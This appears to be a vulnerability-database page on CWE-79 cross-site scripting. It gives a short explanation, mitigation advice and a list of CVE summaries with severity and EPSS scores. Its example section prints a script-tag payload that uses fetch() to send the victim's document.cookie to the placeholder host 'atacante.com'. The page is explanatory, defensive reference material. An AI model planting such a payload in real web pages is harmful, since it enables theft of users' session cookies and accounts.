Fallos del tipo CWE-79

29.274 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-36573MEDIUMFile Upload vulnerability in Feehi CMS thru 2.1.1 allows attackers to run arbitrary code via crafted image upload.EPSS 0.5%CVE-2024-1510MEDIUMWP Shortcodes Plugin — Shortcodes Ultimate <= 7.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via su_tooltip ShortcodeEPSS 0.5%CVE-2024-13736MEDIUMPure Chat – Live Chat & More! <= 2.4 - Reflected Cross-Site Scripting via purechatWidgetName ParameterEPSS 0.5%CVE-2024-57277MEDIUMInnoShop V.0.3.8 and below is vulnerable to Cross Site Scripting (XSS) via SVG file upload.EPSS 0.5%CVE-2024-1236MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2022-44071MEDIUMZenario CMS 9.3.57186 is is vulnerable to Cross Site Scripting (XSS) via profile.EPSS 0.5%CVE-2024-22569MEDIUMStored Cross-Site Scripting (XSS) vulnerability in POSCMS v4.6.2, allows attackers to execute arbitrary code via a crafted payload to /indexEPSS 0.5%CVE-2024-0435HIGHUser can submit message to self-XSSEPSS 0.5%CVE-2024-4891MEDIUMEssential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates <= 4.5.12 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2023-51303MEDIUMPHPJabbers Event Ticketing System v1.0 is vulnerable to Multiple HTML Injection in the "lid, name, plugin_sms_api_key, plugin_sms_country_coEPSS 0.5%CVE-2024-11229MEDIUM코드엠샵 소셜톡 <= 1.1.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via add_plus_friends and add_plus_talk ShortcodesEPSS 0.5%CVE-2023-0337MEDIUMCross-site Scripting (XSS) - Reflected in lirantal/daloradiusEPSS 0.5%CVE-2022-45890MEDIUMIn Planet eStream before 6.72.10.07, a Reflected Cross-Site Scripting (XSS) vulnerability exists via any metadata filter field (e.g., searchEPSS 0.5%CVE-2024-4360MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via title_tagEPSS 0.5%CVE-2024-2518LOWMAGESH-K21 Online-College-Event-Hall-Reservation-System book_history.php cross site scriptingEPSS 0.5%CVE-2023-49985MEDIUMA cross-site scripting (XSS) vulnerability in the component /management/class of School Fees Management System v1.0 allows attackers to execEPSS 0.5%CVE-2023-31434MEDIUMThe parameters nutzer_titel, nutzer_vn, and nutzer_nn in the user profile, and langID and ONLINEID in direct links, in evasys before 8.2 BuiEPSS 0.5%CVE-2024-51181HIGHA Reflected Cross Site Scripting (XSS) vulnerability was found in /ifscfinder/admin/profile.php in PHPGurukul IFSC Code Finder Project v1.0,EPSS 0.5%CVE-2023-0338MEDIUMCross-site Scripting (XSS) - Reflected in lirantal/daloradiusEPSS 0.5%CVE-2024-51180HIGHA Reflected Cross Site Scripting (XSS) vulnerability was found in /ifscfinder/index.php in PHPGurukul IFSC Code Finder Project v1.0, which aEPSS 0.5%